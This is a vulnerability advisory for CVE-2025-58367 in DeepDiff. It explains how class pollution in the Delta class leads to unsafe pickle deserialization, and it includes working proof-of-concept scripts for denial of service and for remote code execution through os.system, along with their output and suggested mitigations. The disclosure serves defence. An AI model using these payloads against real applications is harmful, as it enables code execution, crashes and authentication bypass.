CVE-2025-58367: DeepDiff is vulnerable to DoS and Remote Code Execution via Delta class pollution

Summary Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFETOIMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format: py Delta({"dictionaryitemadded": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The pathtoelements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

py Delta( { "dictionaryitemadded": { ( ("root", "GETATTR"), ("init", "GETATTR"), ("globals", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, )

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFETOIMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach globals from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to globals, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

py ------------[ Setup ]------------ import pickle

from deepdiff.helper import Opcode

polluteint = pickle.dumps( { "valueschanged": {"root['tmp']": {"newvalue": Opcode("", 0, 0, 0, 0)}}, "dictionaryitemadded": { ( ("root", "GETATTR"), ("tmp", "GET"), ("repr", "GETATTR"), ("globals", "GETATTR"), ("builtins", "GET"), ("int", "GET"), ): "no longer a class" }, } )

assert isinstance(polluteint, bytes)

------------[ Exploit ]------------ This could be some example, vulnerable, application. The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

Existing dictionary; it is assumed that it contains at least one entry, otherwise a different Delta needs to be applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"}

Before pollution print(int("41") + 1)

Apply Delta to mydict result = mydict + Delta(polluteint)

print(int("1337"))

shell $ python pocdos.py 42 Traceback (most recent call last): File "/tmp/pocdos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

py ------------[ Setup ]------------ import os import pickle

from deepdiff.helper import Opcode

pollutesafetoimport = pickle.dumps( { "valueschanged": {"root['tmp']": {"newvalue": Opcode("", 0, 0, 0, 0)}}, "setitemadded": { ( ("root", "GETATTR"), ("tmp", "GET"), ("repr", "GETATTR"), ("globals", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFETOIMPORT", "GETATTR"), ): set(["posix.system"]) }, } )

From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def reduce(self): cmd = "id > /tmp/pwned" return os.system, (cmd,)

Wrap object with dictionary so that Delta does not crash rcepickle = pickle.dumps({"": RCE()})

assert isinstance(pollutesafetoimport, bytes) assert isinstance(rcepickle, bytes)

------------[ Exploit ]------------ This could be some example, vulnerable, application. The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

Existing dictionary; it is assumed that it contains at least one entry, otherwise a different Delta needs to be applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"}

Apply Delta to mydict result = mydict + Delta(pollutesafetoimport)

Delta(rcepickle) # no need to apply this Delta

shell $ python pocrce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secretkey of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path.getnestedobj and deepdiff.path.getnestedobjandforce, and possibly in deepdiff.delta.Delta.getelementsanddetails. Example code that raises an error when traversing these properties: py if elem.startswith("") and elem.endswith(""): raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with , but still protect against this vulnerability, it is possible to only forbid globals and builtins, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180